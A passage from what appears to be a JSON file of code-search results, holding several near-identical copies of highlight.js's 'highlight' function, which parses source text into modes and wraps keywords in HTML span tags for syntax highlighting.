(new_mode.excludeBegin) {\n mode_buffer += lexeme;\n }\n processBuffer();\n if (!new_mode.returnBegin && !new_mode.excludeBegin) {\n mode_buffer = lexeme;\n }\n }\n startNewMode(new_mode, lexeme);\n return new_mode.returnBegin ? 0 : lexeme.length;\n }\n\n var end_mode = endOfMode(top, lexeme);\n if (end_mode) {\n var origin = top;\n if (origin.skip) {\n mode_buffer += lexeme;\n } else {\n if (!(origin.returnEnd || origin.excludeEnd)) {\n mode_buffer += lexeme;\n }\n processBuffer();\n if (origin.excludeEnd) {\n mode_buffer = lexeme;\n }\n }\n do {\n if (top.className) {\n result += spanEndTag;\n }\n if (!top.skip) {\n relevance += top.relevance;\n }\n top = top.parent;\n } while (top !== end_mode.parent);\n if (end_mode.starts) {\n startNewMode(end_mode.starts, '');\n }\n return origin.returnEnd ? 0 : lexeme.length;\n }\n\n if (isIllegal(lexeme, top))\n throw new Error('Illegal lexeme \"' + lexeme + '\" for mode \"' + (top.className || '<unnamed>') + '\"');\n\n /*\n Parser should not reach this point as all types of lexemes should be caught\n earlier, but if it does due to some bug make sure it advances at least one\n character forward to prevent infinite looping.\n */\n mode_buffer += lexeme;\n return lexeme.length || 1;\n }\n\n var language = getLanguage(name);\n if (!language) {\n throw new Error('Unknown language: \"' + name + '\"');\n }\n\n compileLanguage(language);\n var top = continuation || language;\n var continuations = {}; // keep continuations for sub-languages\n var result = '', current;\n for(current = top; current !== language; current = current.parent) {\n if (current.className) {\n result = buildSpan(current.className, '', true) + result;\n }\n }\n var mode_buffer = '';\n var relevance = 0;\n try {\n var match, count, index = 0;\n while (true) {\n top.terminators.lastIndex = index;\n match = top.terminators.exec(value);\n if (!match)\n break;\n count = processLexeme(value.substring(index, match.index), match[0]);\n index = match.index + count;\n }\n processLexeme(value.substr(index));\n for(current = top; current.parent; current = current.parent) { // close dangling modes\n if (current.className) {\n result += spanEndTag;\n }\n }\n return {\n relevance: relevance,\n value: result,\n language: name,\n top: top\n };\n } catch (e) {\n if (e.message && e.message.indexOf('Illegal') !== -1) {\n return {\n relevance: 0,\n value: escape(value)\n };\n } else {\n throw e;\n }\n }\n }", "title": "" }, { "docid": "18475f0f47337818eb973a69cf388e34", "score": "0.53686225", "text": "function highlight(name, value, ignore_illegals, continuation) {\n\n function subMode(lexeme, mode) {\n var i, length;\n\n for (i = 0, length = mode.contains.length; i < length; i++) {\n if (testRe(mode.contains[i].beginRe, lexeme)) {\n return mode.contains[i];\n }\n }\n }\n\n function endOfMode(mode, lexeme) {\n if (testRe(mode.endRe, lexeme)) {\n while (mode.endsParent && mode.parent) {\n mode = mode.parent;\n }\n return mode;\n }\n if (mode.endsWithParent) {\n return endOfMode(mode.parent, lexeme);\n }\n }\n\n function isIllegal(lexeme, mode) {\n return !ignore_illegals && testRe(mode.illegalRe, lexeme);\n }\n\n function keywordMatch(mode, match) {\n var match_str = language.case_insensitive ? match[0].toLowerCase() : match[0];\n return mode.keywords.hasOwnProperty(match_str) && mode.keywords[match_str];\n }\n\n function buildSpan(classname, insideSpan, leaveOpen, noPrefix) {\n var classPrefix = noPrefix ? '' : options.classPrefix,\n openSpan = '<span class=\"' + classPrefix,\n closeSpan = leaveOpen ? '' : spanEndTag\n\n openSpan += classname + '\">';\n\n return openSpan + insideSpan + closeSpan;\n }\n\n function processKeywords() {\n var keyword_match, last_index, match, result;\n\n if (!top.keywords)\n return escape(mode_buffer);\n\n result = '';\n last_index = 0;\n top.lexemesRe.lastIndex = 0;\n match = top.lexemesRe.exec(mode_buffer);\n\n while (match) {\n result += escape(mode_buffer.substring(last_index, match.index));\n keyword_match = keywordMatch(top, match);\n if (keyword_match) {\n relevance += keyword_match[1];\n result += buildSpan(keyword_match[0], escape(match[0]));\n } else {\n result += escape(match[0]);\n }\n last_index = top.lexemesRe.lastIndex;\n match = top.lexemesRe.exec(mode_buffer);\n }\n return result + escape(mode_buffer.substr(last_index));\n }\n\n function processSubLanguage() {\n var explicit = typeof top.subLanguage === 'string';\n if (explicit && !languages[top.subLanguage]) {\n return escape(mode_buffer);\n }\n\n var result = explicit ?\n highlight(top.subLanguage, mode_buffer, true, continuations[top.subLanguage]) :\n highlightAuto(mode_buffer, top.subLanguage.length ? top.subLanguage : undefined);\n\n // Counting embedded language score towards the host language may be disabled\n // with zeroing the containing mode relevance. Usecase in point is Markdown that\n // allows XML everywhere and makes every XML snippet to have a much larger Markdown\n // score.\n if (top.relevance > 0) {\n relevance += result.relevance;\n }\n if (explicit) {\n continuations[top.subLanguage] = result.top;\n }\n return buildSpan(result.language, result.value, false, true);\n }\n\n function processBuffer() {\n result += (top.subLanguage != null ? processSubLanguage() : processKeywords());\n mode_buffer = '';\n }\n\n function startNewMode(mode) {\n result += mode.className? buildSpan(mode.className, '', true): '';\n top = Object.create(mode, {parent: {value: top}});\n }\n\n function processLexeme(buffer, lexeme) {\n\n mode_buffer += buffer;\n\n if (lexeme == null) {\n processBuffer();\n return 0;\n }\n\n var new_mode = subMode(lexeme, top);\n if (new_mode) {\n if (new_mode.skip) {\n mode_buffer += lexeme;\n } else {\n if (new_mode.excludeBegin) {\n mode_buffer += lexeme;\n }\n processBuffer();\n if (!new_mode.returnBegin && !new_mode.excludeBegin) {\n mode_buffer = lexeme;\n }\n }\n startNewMode(new_mode, lexeme);\n return new_mode.returnBegin ? 0 : lexeme.length;\n }\n\n var end_mode = endOfMode(top, lexeme);\n if (end_mode) {\n var origin = top;\n if (origin.skip) {\n mode_buffer += lexeme;\n } else {\n if (!(origin.returnEnd || origin.excludeEnd)) {\n mode_buffer += lexeme;\n }\n processBuffer();\n if (origin.excludeEnd) {\n mode_buffer = lexeme;\n }\n }\n do {\n if (top.className) {\n result += spanEndTag;\n }\n if (!top.skip) {\n relevance += top.relevance;\n }\n top = top.parent;\n } while (top !== end_mode.parent);\n if (end_mode.starts) {\n startNewMode(end_mode.starts, '');\n }\n return origin.returnEnd ? 0 : lexeme.length;\n }\n\n if (isIllegal(lexeme, top))\n throw new Error('Illegal lexeme \"' + lexeme + '\" for mode \"' + (top.className || '<unnamed>') + '\"');\n\n /*\n Parser should not reach this point as all types of lexemes should be caught\n earlier, but if it does due to some bug make sure it advances at least one\n character forward to prevent infinite looping.\n */\n mode_buffer += lexeme;\n return lexeme.length || 1;\n }\n\n var language = getLanguage(name);\n if (!language) {\n throw new Error('Unknown language: \"' + name + '\"');\n }\n\n compileLanguage(language);\n var top = continuation || language;\n var continuations = {}; // keep continuations for sub-languages\n var result = '', current;\n for(current = top; current !== language; current = current.parent) {\n if (current.className) {\n result = buildSpan(current.className, '', true) + result;\n }\n }\n var mode_buffer = '';\n var relevance = 0;\n try {\n var match, count, index = 0;\n while (true) {\n top.terminators.lastIndex = index;\n match = top.terminators.exec(value);\n if (!match)\n break;\n count = processLexeme(value.substring(index, match.index), match[0]);\n index = match.index + count;\n }\n processLexeme(value.substr(index));\n for(current = top; current.parent; current = current.parent) { // close dangling modes\n if (current.className) {\n result += spanEndTag;\n }\n }\n return {\n relevance: relevance,\n value: result,\n language: name,\n top: top\n };\n } catch (e) {\n if (e.message && e.message.indexOf('Illegal') !== -1) {\n return {\n relevance: 0,\n value: escape(value)\n };\n } else {\n throw e;\n }\n }\n }", "title": "" }, { "docid": "18475f0f47337818eb973a69cf388e34", "score": "0.53686225", "text": "function highlight(name, value, ignore_illegals, continuation) {\n\n function subMode(lexeme, mode) {\n var i, length;\n\n for (i = 0, length = mode.contains.length; i < length; i++) {\n if (testRe(mode.contains[i].beginRe, lexeme)) {\n return mode.contains[i];\n }\n }\n }\n\n function endOfMode(mode, lexeme) {\n if (testRe(mode.endRe, lexeme)) {\n while (mode.endsParent && mode.parent) {\n mode = mode.parent;\n }\n return mode;\n }\n if (mode.endsWithParent) {\n return endOfMode(mode.parent, lexeme);\n }\n }\n\n function isIllegal(lexeme, mode) {\n return !ignore_illegals && testRe(mode.illegalRe, lexeme);\n }\n\n function keywordMatch(mode, match) {\n var match_str = language.case_insensitive ? match[0].toLowerCase() : match[0];\n return mode.keywords.hasOwnProperty(match_str) && mode.keywords[match_str];\n }\n\n function buildSpan(classname, insideSpan, leaveOpen, noPrefix) {\n var classPrefix = noPrefix ? '' : options.classPrefix,\n openSpan = '<span class=\"' + classPrefix,\n closeSpan = leaveOpen ? '' : spanEndTag\n\n openSpan += classname + '\">';\n\n return openSpan + insideSpan + closeSpan;\n }\n\n function processKeywords() {\n var keyword_match, last_index, match, result;\n\n if (!top.keywords)\n return escape(mode_buffer);\n\n result = '';\n last_index = 0;\n top.lexemesRe.lastIndex = 0;\n match = top.lexemesRe.exec(mode_buffer);\n\n while (match) {\n result += escape(mode_buffer.substring(last_index, match.index));\n keyword_match = keywordMatch(top, match);\n if (keyword_match) {\n relevance += keyword_match[1];\n result += buildSpan(keyword_match[0], escape(match[0]));\n } else {\n result += escape(match[0]);\n }\n last_index = top.lexemesRe.lastIndex;\n match = top.lexemesRe.exec(mode_buffer);\n }\n return result + escape(mode_buffer.substr(last_index));\n }\n\n function processSubLanguage() {\n var explicit = typeof top.subLanguage === 'string';\n if (explicit && !languages[top.subLanguage]) {\n return escape(mode_buffer);\n }\n\n var result = explicit ?\n highlight(top.subLanguage, mode_buffer, true, continuations[top.subLanguage]) :\n highlightAuto(mode_buffer, top.subLanguage.length ? top.subLanguage : undefined);\n\n // Counting embedded language score towards the host language may be disabled\n // with zeroing the containing mode relevance. Usecase in point is Markdown that\n // allows XML everywhere and makes every XML snippet to have a much larger Markdown\n // score.\n if (top.relevance > 0) {\n relevance += result.relevance;\n }\n if (explicit) {\n continuations[top.subLanguage] = result.top;\n }\n return buildSpan(result.language, result.value, false, true);\n }\n\n function processBuffer() {\n result += (top.subLanguage != null ? processSubLanguage() : processKeywords());\n mode_buffer = '';\n }\n\n function startNewMode(mode) {\n result += mode.className? buildSpan(mode.className, '', true): '';\n top = Object.create(mode, {parent: {value: top}});\n }\n\n function processLexeme(buffer, lexeme) {\n\n mode_buffer += buffer;\n\n if (lexeme == null) {\n processBuffer();\n return 0;\n }\n\n var new_mode = subMode(lexeme, top);\n if (new_mode) {\n if (new_mode.skip) {\n mode_buffer += lexeme;\n } else {\n if (new_mode.excludeBegin) {\n mode_buffer += lexeme;\n }\n processBuffer();\n if (!new_mode.returnBegin && !new_mode.excludeBegin) {\n mode_buffer = lexeme;\n }\n }\n startNewMode(new_mode, lexeme);\n return new_mode.returnBegin ? 0 : lexeme.length;\n }\n\n var end_mode = endOfMode(top, lexeme);\n if (end_mode) {\n var origin = top;\n if (origin.skip) {\n mode_buffer += lexeme;\n } else {\n if (!(origin.returnEnd || origin.excludeEnd)) {\n mode_buffer += lexeme;\n }\n processBuffer();\n if (origin.excludeEnd) {\n mode_buffer = lexeme;\n }\n }\n do {\n if (top.className) {\n result += spanEndTag;\n }\n if (!top.skip) {\n relevance += top.relevance;\n }\n top = top.parent;\n } while (top !== end_mode.parent);\n if (end_mode.starts) {\n startNewMode(end_mode.starts, '');\n }\n return origin.returnEnd ? 0 : lexeme.length;\n }\n\n if (isIllegal(lexeme, top))\n throw new Error('Illegal lexeme \"' + lexeme + '\" for mode \"' + (top.className || '<unnamed>') + '\"');\n\n /*\n Parser should not reach this point as all types of lexemes should be caught\n earlier, but if it does due to some bug make sure it advances at least one\n character forward to prevent infinite looping.\n */\n mode_buffer += lexeme;\n return lexeme.length || 1;\n }\n\n var language = getLanguage(name);\n if (!language) {\n throw new Error('Unknown language: \"' + name + '\"');\n }\n\n compileLanguage(language);\n var top = continuation || language;\n var continuations = {}; // keep continuations for sub-languages\n var result = '', current;\n for(current = top; current !== language; current = current.parent) {\n if (current.className) {\n result = buildSpan(current.className, '', true) + result;\n }\n }\n var mode_buffer = '';\n var relevance = 0;\n try {\n var match, count, index = 0;\n while (true) {\n top.terminators.lastIndex = index;\n match = top.terminators.exec(value);\n if (!match)\n break;\n count = processLexeme(value.substring(index, match.index), match[0]);\n index = match.index + count;\n }\n processLexeme(value.substr(index));\n for(current = top; current.parent; current = current.parent) { // close dangling modes\n if (current.className) {\n result += spanEndTag;\n }\n }\n return {\n relevance: relevance,\n value: result,\n language: name,\n top: top\n };\n } catch (e) {\n if (e.message && e.message.indexOf('Illegal') !== -1) {\n return {\n relevance: 0,\n value: escape(value)\n };\n } else {\n throw e;\n }\n }\n }", "title": "" }, { "docid": "18475f0f47337818eb973a69cf388e34", "score": "0.53686225", "text": "function highlight(name, value, ignore_illegals, continuation) {\n\n function subMode(lexeme, mode) {\n var i, length;\n\n for (i = 0, length = mode.contains.length; i < length; i++) {\n if (testRe(mode.contains[i].beginRe, lexeme)) {\n return mode.contains[i];\n }\n }\n }\n\n function endOfMode(mode, lexeme) {\n if (testRe(mode.endRe, lexeme)) {\n while (mode.endsParent && mode.parent) {\n mode = mode.parent;\n }\n return mode;\n }\n if (mode.endsWithParent) {\n return endOfMode(mode.parent, lexeme);\n }\n }\n\n function isIllegal(lexeme, mode) {\n return !ignore_illegals && testRe(mode.illegalRe, lexeme);\n }\n\n function keywordMatch(mode, match) {\n var match_str = language.case_insensitive ? match[0].toLowerCase() : match[0];\n return mode.keywords.hasOwnProperty(match_str) && mode.keywords[match_str];\n }\n\n function buildSpan(classname, insideSpan, leaveOpen, noPrefix) {\n var classPrefix = noPrefix ? '' : options.classPrefix,\n openSpan = '<span class=\"' + classPrefix,\n closeSpan = leaveOpen ? '' : spanEndTag\n\n openSpan += classname + '\">';\n\n return openSpan + insideSpan + closeSpan;\n }\n\n function processKeywords() {\n var keyword_match, last_index, match, result;\n\n if (!top.keywords)\n return escape(mode_buffer);\n\n result = '';\n last_index = 0;\n top.lexemesRe.lastIndex = 0;\n match = top.lexemesRe.exec(mode_buffer);\n\n while (match) {\n result += escape(mode_buffer.substring(last_index, match.index));\n keyword_match = keywordMatch(top, match);\n if (keyword_match) {\n relevance += keyword_match[1];\n result += buildSpan(keyword_match[0], escape(match[0]));\n } else {\n result += escape(match[0]);\n }\n last_index = top.lexemesRe.lastIndex;\n match = top.lexemesRe.exec(mode_buffer);\n }\n return result + escape(mode_buffer.substr(last_index));\n }\n\n function processSubLanguage() {\n var explicit = typeof top.subLanguage === 'string';\n if (explicit && !languages[top.subLanguage]) {\n return escape(mode_buffer);\n }\n\n var result = explicit ?\n highlight(top.subLanguage, mode_buffer, true, continuations[top.subLanguage]) :\n highlightAuto(mode_buffer, top.subLanguage.length ? top.subLanguage : undefined);\n\n // Counting embedded language score towards the host language may be disabled\n // with zeroing the containing mode relevance. Usecase in point is Markdown that\n // allows XML everywhere and makes every XML snippet to have a much larger Markdown\n // score.\n if (top.relevance > 0) {\n relevance += result.relevance;\n }\n if (explicit) {\n continuations[top.subLanguage] = result.top;\n }\n return buildSpan(result.language, result.value, false, true);\n }\n\n function processBuffer() {\n result += (top.subLanguage != null ? processSubLanguage() : processKeywords());\n mode_buffer = '';\n }\n\n function startNewMode(mode) {\n result += mode.className? buildSpan(mode.className, '', true): '';\n top = Object.create(mode, {parent: {value: top}});\n }\n\n function processLexeme(buffer, lexeme) {\n\n mode_buffer += buffer;\n\n if (lexeme == null) {\n processBuffer();\n return 0;\n }\n\n var new_mode = subMode(lexeme, top);\n if (new_mode) {\n if (new_mode.skip) {\n mode_buffer += lexeme;\n } else {\n if (new_mode.excludeBegin) {\n mode_buffer += lexeme;\n }\n processBuffer();\n if (!new_mode.returnBegin && !new_mode.excludeBegin) {\n mode_buffer = lexeme;\n }\n }\n startNewMode(new_mode, lexeme);\n return new_mode.returnBegin ? 0 : lexeme.length;\n }\n\n var end_mode = endOfMode(top, lexeme);\n if (end_mode) {\n var origin = top;\n if (origin.skip) {\n mode_buffer += lexeme;\n } else {\n if (!(origin.returnEnd || origin.excludeEnd)) {\n mode_buffer += lexeme;\n }\n processBuffer();\n if (origin.excludeEnd) {\n mode_buffer = lexeme;\n }\n }\n do {\n if (top.className) {\n result += spanEndTag;\n }\n if (!top.skip) {\n relevance += top.relevance;\n }\n top = top.parent;\n } while (top !== end_mode.parent);\n if (end_mode.starts) {\n startNewMode(end_mode.starts, '');\n }\n return origin.returnEnd ? 0 : lexeme.length;\n }\n\n if (isIllegal(lexeme, top))\n throw new Error('Illegal lexeme \"' + lexeme + '\" for mode \"' + (top.className || '<unnamed>') + '\"');\n\n /*\n Parser should not reach this point as all types of lexemes should be caught\n earlier, but if it does due to some bug make sure it advances at least one\n character forward to prevent infinite looping.\n */\n mode_buffer += lexeme;\n return lexeme.length || 1;\n }\n\n var language = getLanguage(name);\n if (!language) {\n throw new Error('Unknown language: \"' + name + '\"');\n }\n\n compileLanguage(language);\n var top = continuation || language;\n var continuations = {}; // keep continuations for sub-languages\n var result = '', current;\n for(current = top; current !== language; current = current.parent) {\n if (current.className) {\n result = buildSpan(current.className, '', true) + result;\n }\n }\n var mode_buffer = '';\n var relevance = 0;\n try {\n var match, count, index = 0;\n while (true) {\n top.terminators.lastIndex = index;\n match = top.terminators.exec(value);\n if (!match)\n break;\n count = processLexeme(value.substring(index, match.index), match[0]);\n index = match.index + count;\n }\n processLexeme(value.substr(index));\n for(current = top; current.parent; current = current.parent) { // close dangling modes\n if (current.className) {\n result += spanEndTag;\n }\n }\n return {\n relevance: relevance,\n value: result,\n language: name,\n top: top\n };\n } catch (e) {\n if (e.message && e.message.indexOf('Illegal') !== -1) {\n return {\n relevance: 0,\n value: escape(value)\n };\n } else {\n throw e;\n }\n }\n }", "title": "" }, { "docid": "a30757377eefaf911c2ccc2bbdb1b651", "score": "0.5365868", "text": "function highlight(name, value, ignore_illegals, continuation) {\n\n function subMode(lexeme, mode) {\n for (var i = 0; i < mode.contains.length; i++) {\n if (testRe(mode.contains[i].beginRe, lexeme)) {\n return mode.contains[i];\n }\n }\n }\n\n function endOfMode(mode, lexeme) {\n if (testRe(mode.endRe, lexeme)) {\n return mode;\n }\n if (mode.endsWithParent) {\n return endOfMode(mode.parent, lexeme);\n }\n }\n\n function isIllegal(lexeme, mode) {\n return !ignore_illegals && testRe(mode.illegalRe, lexeme);\n }\n\n function keywordMatch(mode, match) {\n var match_str = language.case_insensitive ? match[0].toLowerCase() : match[0];\n return mode.keywords.hasOwnProperty(match_str) && mode.keywords[match_str];\n }\n\n function buildSpan(classname, insideSpan, leaveOpen, noPrefix) {\n var classPrefix = noPrefix ? '' : options.classPrefix,\n openSpan = '<span class=\"' + classPrefix,\n closeSpan = leaveOpen ? '' : '</span>';\n\n openSpan += classname + '\">';\n\n return openSpan + insideSpan + closeSpan;\n }\n\n function processKeywords() {\n if (!top.keywords)\n return escape(mode_buffer);\n var result = '';\n var last_index = 0;\n top.lexemesRe.lastIndex = 0;\n var match = top.lexemesRe.exec(mode_buffer);\n while (match) {\n result += escape(mode_buffer.substr(last_index, match.index - last_index));\n var keyword_match = keywordMatch(top, match);\n if (keyword_match) {\n relevance += keyword_match[1];\n result += buildSpan(keyword_match[0], escape(match[0]));\n } else {\n result += escape(match[0]);\n }\n last_index = top.lexemesRe.lastIndex;\n match = top.lexemesRe.exec(mode_buffer);\n }\n return result + escape(mode_buffer.substr(last_index));\n }\n\n function processSubLanguage() {\n if (top.subLanguage && !languages[top.subLanguage]) {\n return escape(mode_buffer);\n }\n var result = top.subLanguage ? highlight(top.subLanguage, mode_buffer, true, subLanguageTop) : highlightAuto(mode_buffer);\n // Counting embedded language score towards the host language may be disabled\n // with zeroing the containing mode relevance. Usecase in point is Markdown that\n // allows XML everywhere and makes every XML snippet to have a much larger Markdown\n // score.\n if (top.relevance > 0) {\n relevance += result.relevance;\n }\n if (top.subLanguageMode == 'continuous') {\n subLanguageTop = result.top;\n }\n return buildSpan(result.language, result.value, false, true);\n }\n\n function processBuffer() {\n return top.subLanguage !== undefined ? processSubLanguage() : processKeywords();\n }\n\n function startNewMode(mode, lexeme) {\n var markup = mode.className? buildSpan(mode.className, '', true): '';\n if (mode.returnBegin) {\n result += markup;\n mode_buffer = '';\n } else if (mode.excludeBegin) {\n result += escape(lexeme) + markup;\n mode_buffer = '';\n } else {\n result += markup;\n mode_buffer = lexeme;\n }\n top = Object.create(mode, {parent: {value: top}});\n }\n\n function processLexeme(buffer, lexeme) {\n\n mode_buffer += buffer;\n if (lexeme === undefined) {\n result += processBuffer();\n return 0;\n }\n\n var new_mode = subMode(lexeme, top);\n if (new_mode) {\n result += processBuffer();\n startNewMode(new_mode, lexeme);\n return new_mode.returnBegin ? 0 : lexeme.length;\n }\n\n var end_mode = endOfMode(top, lexeme);\n if (end_mode) {\n var origin = top;\n if (!(origin.returnEnd || origin.excludeEnd)) {\n mode_buffer += lexeme;\n }\n result += processBuffer();\n do {\n if (top.className) {\n result += '</span>';\n }\n relevance += top.relevance;\n top = top.parent;\n } while (top != end_mode.parent);\n if (origin.excludeEnd) {\n result += escape(lexeme);\n }\n mode_buffer = '';\n if (end_mode.starts) {\n startNewMode(end_mode.starts, '');\n }\n return origin.returnEnd ? 0 : lexeme.length;\n }\n\n if (isIllegal(lexeme, top))\n throw new Error('Illegal lexeme \"' + lexeme + '\" for mode \"' + (top.className || '<unnamed>') + '\"');\n\n /*\n Parser should not reach this point as all types of lexemes should be caught\n earlier, but if it does due to some bug make sure it advances at least one\n character forward to prevent infinite looping.\n */\n mode_buffer += lexeme;\n return lexeme.length || 1;\n }\n\n var language = getLanguage(name);\n if (!language) {\n throw new Error('Unknown language: \"' + name + '\"');\n }\n\n compileLanguage(language);\n var top = continuation || language;\n var subLanguageTop;\n var result = '';\n for(var current = top; current != language; current = current.parent) {\n if (current.className) {\n result = buildSpan(current.className, '', true) + result;\n }\n }\n var mode_buffer = '';\n var relevance = 0;\n try {\n var match, count, index = 0;\n while (true) {\n top.terminators.lastIndex = index;\n match = top.terminators.exec(value);\n if (!match)\n break;\n count = processLexeme(value.substr(index, match.index - index), match[0]);\n index = match.index + count;\n }\n processLexeme(value.substr(index));\n for(var current = top; current.parent; current = current.parent) { // close dangling modes\n if (current.className) {\n result += '</span>';\n }\n };\n return {\n relevance: relevance,\n value: result,\n language: name,\n top: top\n };\n } catch (e) {\n if (e.message.indexOf('Illegal') != -1) {\n return {\n relevance: 0,\n value: escape(value)\n };\n } else {\n throw e;\n }\n }\n }", "title": "" } ]